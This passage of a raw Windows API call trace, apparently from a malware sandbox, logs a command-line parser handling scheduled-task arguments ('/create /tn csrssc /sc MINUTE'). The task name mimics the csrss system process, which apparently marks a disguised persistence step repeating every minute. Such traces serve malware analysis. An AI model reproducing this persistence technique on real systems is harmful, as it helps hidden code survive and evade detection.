returned 2 [0067.854] GetThreadLocale () returned 0x409 [0067.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.854] lstrlenW (lpString="it") returned 2 [0067.854] GetThreadLocale () returned 0x409 [0067.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.854] lstrlenW (lpString="et") returned 2 [0067.854] GetThreadLocale () returned 0x409 [0067.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.854] lstrlenW (lpString="k") returned 1 [0067.854] GetThreadLocale () returned 0x409 [0067.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.854] lstrlenW (lpString="du") returned 2 [0067.854] GetThreadLocale () returned 0x409 [0067.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.854] lstrlenW (lpString="ri") returned 2 [0067.854] GetThreadLocale () returned 0x409 [0067.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.854] lstrlenW (lpString="z") returned 1 [0067.854] GetThreadLocale () returned 0x409 [0067.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.854] lstrlenW (lpString="f") returned 1 [0067.854] GetThreadLocale () returned 0x409 [0067.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.854] lstrlenW (lpString="v1") returned 2 [0067.854] GetThreadLocale () returned 0x409 [0067.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.854] lstrlenW (lpString="xml") returned 3 [0067.854] GetThreadLocale () returned 0x409 [0067.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.854] lstrlenW (lpString="ec") returned 2 [0067.854] GetThreadLocale () returned 0x409 [0067.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.854] lstrlenW (lpString="rl") returned 2 [0067.855] GetThreadLocale () returned 0x409 [0067.855] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.855] lstrlenW (lpString="delay") returned 5 [0067.855] GetThreadLocale () returned 0x409 [0067.855] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.855] lstrlenW (lpString="np") returned 2 [0067.855] SetLastError (dwErrCode=0x0) [0067.855] SetLastError (dwErrCode=0x0) [0067.855] lstrlenW (lpString="/create") returned 7 [0067.855] lstrlenW (lpString="-/") returned 2 [0067.855] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.855] lstrlenW (lpString="create") returned 6 [0067.855] lstrlenW (lpString="create") returned 6 [0067.855] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.855] lstrlenW (lpString="create") returned 6 [0067.855] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.855] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|create|") returned 8 [0067.855] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|create|") returned 8 [0067.855] lstrlenW (lpString="|create|") returned 8 [0067.855] lstrlenW (lpString="|create|") returned 8 [0067.855] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0067.855] SetLastError (dwErrCode=0x0) [0067.855] SetLastError (dwErrCode=0x0) [0067.855] SetLastError (dwErrCode=0x0) [0067.855] lstrlenW (lpString="/tn") returned 3 [0067.855] lstrlenW (lpString="-/") returned 2 [0067.855] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.855] lstrlenW (lpString="create") returned 6 [0067.855] lstrlenW (lpString="create") returned 6 [0067.855] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.855] lstrlenW (lpString="tn") returned 2 [0067.855] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.856] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|create|") returned 8 [0067.856] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.856] lstrlenW (lpString="|create|") returned 8 [0067.856] lstrlenW (lpString="|tn|") returned 4 [0067.856] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0067.856] SetLastError (dwErrCode=0x490) [0067.856] lstrlenW (lpString="?") returned 1 [0067.856] lstrlenW (lpString="?") returned 1 [0067.856] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.856] lstrlenW (lpString="tn") returned 2 [0067.856] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.856] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|?|") returned 3 [0067.856] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.856] lstrlenW (lpString="|?|") returned 3 [0067.856] lstrlenW (lpString="|tn|") returned 4 [0067.856] SetLastError (dwErrCode=0x490) [0067.856] lstrlenW (lpString="s") returned 1 [0067.856] lstrlenW (lpString="s") returned 1 [0067.856] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.856] lstrlenW (lpString="tn") returned 2 [0067.856] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.856] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|s|") returned 3 [0067.856] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.856] lstrlenW (lpString="|s|") returned 3 [0067.856] lstrlenW (lpString="|tn|") returned 4 [0067.856] SetLastError (dwErrCode=0x490) [0067.856] lstrlenW (lpString="u") returned 1 [0067.856] lstrlenW (lpString="u") returned 1 [0067.856] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.856] lstrlenW (lpString="tn") returned 2 [0067.857] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.857] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|u|") returned 3 [0067.857] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.857] lstrlenW (lpString="|u|") returned 3 [0067.857] lstrlenW (lpString="|tn|") returned 4 [0067.857] SetLastError (dwErrCode=0x490) [0067.857] lstrlenW (lpString="p") returned 1 [0067.857] lstrlenW (lpString="p") returned 1 [0067.857] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.857] lstrlenW (lpString="tn") returned 2 [0067.857] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.857] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|p|") returned 3 [0067.857] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.857] lstrlenW (lpString="|p|") returned 3 [0067.857] lstrlenW (lpString="|tn|") returned 4 [0067.857] SetLastError (dwErrCode=0x490) [0067.857] lstrlenW (lpString="ru") returned 2 [0067.857] lstrlenW (lpString="ru") returned 2 [0067.857] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.857] lstrlenW (lpString="tn") returned 2 [0067.857] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.857] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|ru|") returned 4 [0067.857] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.857] lstrlenW (lpString="|ru|") returned 4 [0067.857] lstrlenW (lpString="|tn|") returned 4 [0067.857] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0067.857] SetLastError (dwErrCode=0x490) [0067.857] lstrlenW (lpString="rp") returned 2 [0067.857] lstrlenW (lpString="rp") returned 2 [0067.857] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.858] lstrlenW (lpString="tn") returned 2 [0067.858] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.858] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|rp|") returned 4 [0067.858] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.858] lstrlenW (lpString="|rp|") returned 4 [0067.858] lstrlenW (lpString="|tn|") returned 4 [0067.858] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0067.858] SetLastError (dwErrCode=0x490) [0067.858] lstrlenW (lpString="sc") returned 2 [0067.858] lstrlenW (lpString="sc") returned 2 [0067.858] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.858] lstrlenW (lpString="tn") returned 2 [0067.858] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.858] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.858] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.858] lstrlenW (lpString="|sc|") returned 4 [0067.858] lstrlenW (lpString="|tn|") returned 4 [0067.858] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0067.858] SetLastError (dwErrCode=0x490) [0067.858] lstrlenW (lpString="mo") returned 2 [0067.858] lstrlenW (lpString="mo") returned 2 [0067.858] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.858] lstrlenW (lpString="tn") returned 2 [0067.858] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.858] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.858] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.858] lstrlenW (lpString="|mo|") returned 4 [0067.858] lstrlenW (lpString="|tn|") returned 4 [0067.858] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0067.858] SetLastError (dwErrCode=0x490) [0067.859] lstrlenW (lpString="d") returned 1 [0067.859] lstrlenW (lpString="d") returned 1 [0067.859] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.859] lstrlenW (lpString="tn") returned 2 [0067.859] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.859] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|d|") returned 3 [0067.859] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.859] lstrlenW (lpString="|d|") returned 3 [0067.859] lstrlenW (lpString="|tn|") returned 4 [0067.859] SetLastError (dwErrCode=0x490) [0067.859] lstrlenW (lpString="m") returned 1 [0067.859] lstrlenW (lpString="m") returned 1 [0067.859] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.859] lstrlenW (lpString="tn") returned 2 [0067.859] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.859] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|m|") returned 3 [0067.859] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.859] lstrlenW (lpString="|m|") returned 3 [0067.859] lstrlenW (lpString="|tn|") returned 4 [0067.859] SetLastError (dwErrCode=0x490) [0067.859] lstrlenW (lpString="i") returned 1 [0067.859] lstrlenW (lpString="i") returned 1 [0067.859] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.859] lstrlenW (lpString="tn") returned 2 [0067.859] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.859] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|i|") returned 3 [0067.859] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.859] lstrlenW (lpString="|i|") returned 3 [0067.859] lstrlenW (lpString="|tn|") returned 4 [0067.859] SetLastError (dwErrCode=0x490) [0067.860] lstrlenW (lpString="tn") returned 2 [0067.860] lstrlenW (lpString="tn") returned 2 [0067.860] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.860] lstrlenW (lpString="tn") returned 2 [0067.860] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.860] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.860] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.860] lstrlenW (lpString="|tn|") returned 4 [0067.860] lstrlenW (lpString="|tn|") returned 4 [0067.860] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0067.860] SetLastError (dwErrCode=0x0) [0067.860] SetLastError (dwErrCode=0x0) [0067.860] lstrlenW (lpString="csrssc") returned 6 [0067.860] lstrlenW (lpString="-/") returned 2 [0067.860] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0067.860] SetLastError (dwErrCode=0x490) [0067.860] SetLastError (dwErrCode=0x490) [0067.860] SetLastError (dwErrCode=0x0) [0067.860] lstrlenW (lpString="csrssc") returned 6 [0067.860] StrChrIW (lpStart="csrssc", wMatch=0x3a) returned 0x0 [0067.860] SetLastError (dwErrCode=0x490) [0067.860] SetLastError (dwErrCode=0x0) [0067.860] lstrlenW (lpString="csrssc") returned 6 [0067.860] SetLastError (dwErrCode=0x0) [0067.860] SetLastError (dwErrCode=0x0) [0067.860] lstrlenW (lpString="/sc") returned 3 [0067.860] lstrlenW (lpString="-/") returned 2 [0067.860] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.860] lstrlenW (lpString="create") returned 6 [0067.860] lstrlenW (lpString="create") returned 6 [0067.860] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.860] lstrlenW (lpString="sc") returned 2 [0067.860] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.861] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|create|") returned 8 [0067.861] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.861] lstrlenW (lpString="|create|") returned 8 [0067.861] lstrlenW (lpString="|sc|") returned 4 [0067.861] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0067.861] SetLastError (dwErrCode=0x490) [0067.861] lstrlenW (lpString="?") returned 1 [0067.861] lstrlenW (lpString="?") returned 1 [0067.861] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.861] lstrlenW (lpString="sc") returned 2 [0067.861] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.861] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|?|") returned 3 [0067.861] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.861] lstrlenW (lpString="|?|") returned 3 [0067.861] lstrlenW (lpString="|sc|") returned 4 [0067.861] SetLastError (dwErrCode=0x490) [0067.861] lstrlenW (lpString="s") returned 1 [0067.861] lstrlenW (lpString="s") returned 1 [0067.861] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.861] lstrlenW (lpString="sc") returned 2 [0067.861] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.861] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|s|") returned 3 [0067.861] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.861] lstrlenW (lpString="|s|") returned 3 [0067.861] lstrlenW (lpString="|sc|") returned 4 [0067.861] SetLastError (dwErrCode=0x490) [0067.861] lstrlenW (lpString="u") returned 1 [0067.861] lstrlenW (lpString="u") returned 1 [0067.861] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.862] lstrlenW (lpString="sc") returned 2 [0067.862] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.862] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|u|") returned 3 [0067.862] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.862] lstrlenW (lpString="|u|") returned 3 [0067.862] lstrlenW (lpString="|sc|") returned 4 [0067.862] SetLastError (dwErrCode=0x490) [0067.862] lstrlenW (lpString="p") returned 1 [0067.862] lstrlenW (lpString="p") returned 1 [0067.862] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.862] lstrlenW (lpString="sc") returned 2 [0067.862] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.862] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|p|") returned 3 [0067.862] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.862] lstrlenW (lpString="|p|") returned 3 [0067.862] lstrlenW (lpString="|sc|") returned 4 [0067.862] SetLastError (dwErrCode=0x490) [0067.862] lstrlenW (lpString="ru") returned 2 [0067.862] lstrlenW (lpString="ru") returned 2 [0067.862] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.862] lstrlenW (lpString="sc") returned 2 [0067.862] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.862] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|ru|") returned 4 [0067.862] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.862] lstrlenW (lpString="|ru|") returned 4 [0067.862] lstrlenW (lpString="|sc|") returned 4 [0067.862] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0067.863] SetLastError (dwErrCode=0x490) [0067.863] lstrlenW (lpString="rp") returned 2 [0067.863] lstrlenW (lpString="rp") returned 2 [0067.863] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.863] lstrlenW (lpString="sc") returned 2 [0067.863] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.863] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|rp|") returned 4 [0067.863] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.863] lstrlenW (lpString="|rp|") returned 4 [0067.863] lstrlenW (lpString="|sc|") returned 4 [0067.863] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0067.863] SetLastError (dwErrCode=0x490) [0067.863] lstrlenW (lpString="sc") returned 2 [0067.863] lstrlenW (lpString="sc") returned 2 [0067.863] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.863] lstrlenW (lpString="sc") returned 2 [0067.863] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.863] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.863] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.863] lstrlenW (lpString="|sc|") returned 4 [0067.863] lstrlenW (lpString="|sc|") returned 4 [0067.863] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0067.863] SetLastError (dwErrCode=0x0) [0067.863] SetLastError (dwErrCode=0x0) [0067.863] lstrlenW (lpString="MINUTE") returned 6 [0067.863] lstrlenW (lpString="-/") returned 2 [0067.863] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0067.863] SetLastError (dwErrCode=0x490) [0067.863] SetLastError (dwErrCode=0x490) [0067.863] SetLastError (dwErrCode=0x0) [0067.863] lstrlenW (lpString="MINUTE") returned 6 [0067.863] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0067.864] SetLastError (dwErrCode=0x490) [0067.864] SetLastError (dwErrCode=0x0) [0067.864] GetProcessHeap () returned 0x220000 [0067.864] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d640 [0067.864] _memicmp (_Buf1=0x23d640, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.864] lstrlenW (lpString="MINUTE") returned 6 [0067.864] GetProcessHeap () returned 0x220000 [0067.864] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d660 [0067.864] lstrlenW (lpString="MINUTE") returned 6 [0067.864] lstrlenW (lpString=" \x09") returned 2 [0067.864] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0067.864] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0067.864] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0067.864] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0067.864] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0067.864] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0067.864] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0067.864] GetLastError () returned 0x0 [0067.864] lstrlenW (lpString="MINUTE") returned 6 [0067.864] lstrlenW (lpString="MINUTE") returned 6 [0067.864] SetLastError (dwErrCode=0x0) [0067.864] SetLastError (dwErrCode=0x0) [0067.864] lstrlenW (lpString="/mo") returned 3 [0067.864] lstrlenW (lpString="-/") returned 2 [0067.864] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.864] lstrlenW (lpString="create") returned 6 [0067.864] lstrlenW (lpString="create") returned 6 [0067.864] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.864] lstrlenW (lpString="mo") returned 2 [0067.864] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.864] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|create|") returned 8 [0067.865] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.865] lstrlenW (lpString="|create|") returned 8 [0067.865] lstrlenW (lpString="|mo|") returned 4 [0067.865] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0067.865] SetLastError (dwErrCode=0x490) [0067.865] lstrlenW (lpString="?") returned 1 [0067.865] lstrlenW (lpString="?") returned 1 [0067.865] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.865] lstrlenW (lpString="mo") returned 2 [0067.865] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.865] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|?|") returned 3 [0067.865] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.865] lstrlenW (lpString="|?|") returned 3 [0067.865] lstrlenW (lpString="|mo|") returned 4 [0067.865] SetLastError (dwErrCode=0x490) [0067.865] lstrlenW (lpString="s") returned 1 [0067.865] lstrlenW (lpString="s") returned 1 [0067.865] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.865] lstrlenW (lpString="mo") returned 2 [0067.865] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.865] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|s|") returned 3 [0067.865] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.865] lstrlenW (lpString="|s|") returned 3 [0067.865] lstrlenW (lpString="|mo|") returned 4 [0067.865] SetLastError (dwErrCode=0x490) [0067.865] lstrlenW (lpString="u") returned 1 [0067.865] lstrlenW (lpString="u") returned 1 [0067.865] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.865] lstrlenW (lpString="mo") returned 2 [0067.866] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.866] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|u|") returned 3 [0067.866] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.866] lstrlenW (lpString="|u|") returned 3 [0067.866] lstrlenW (lpString="|mo|") returned 4 [0067.866] SetLastError (dwErrCode=0x490) [0067.866] lstrlenW (lpString="p") returned 1 [0067.866] lstrlenW (lpString="p") returned 1 [0067.866] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.866] lstrlenW (lpString="mo") returned 2 [0067.866] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.866] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", 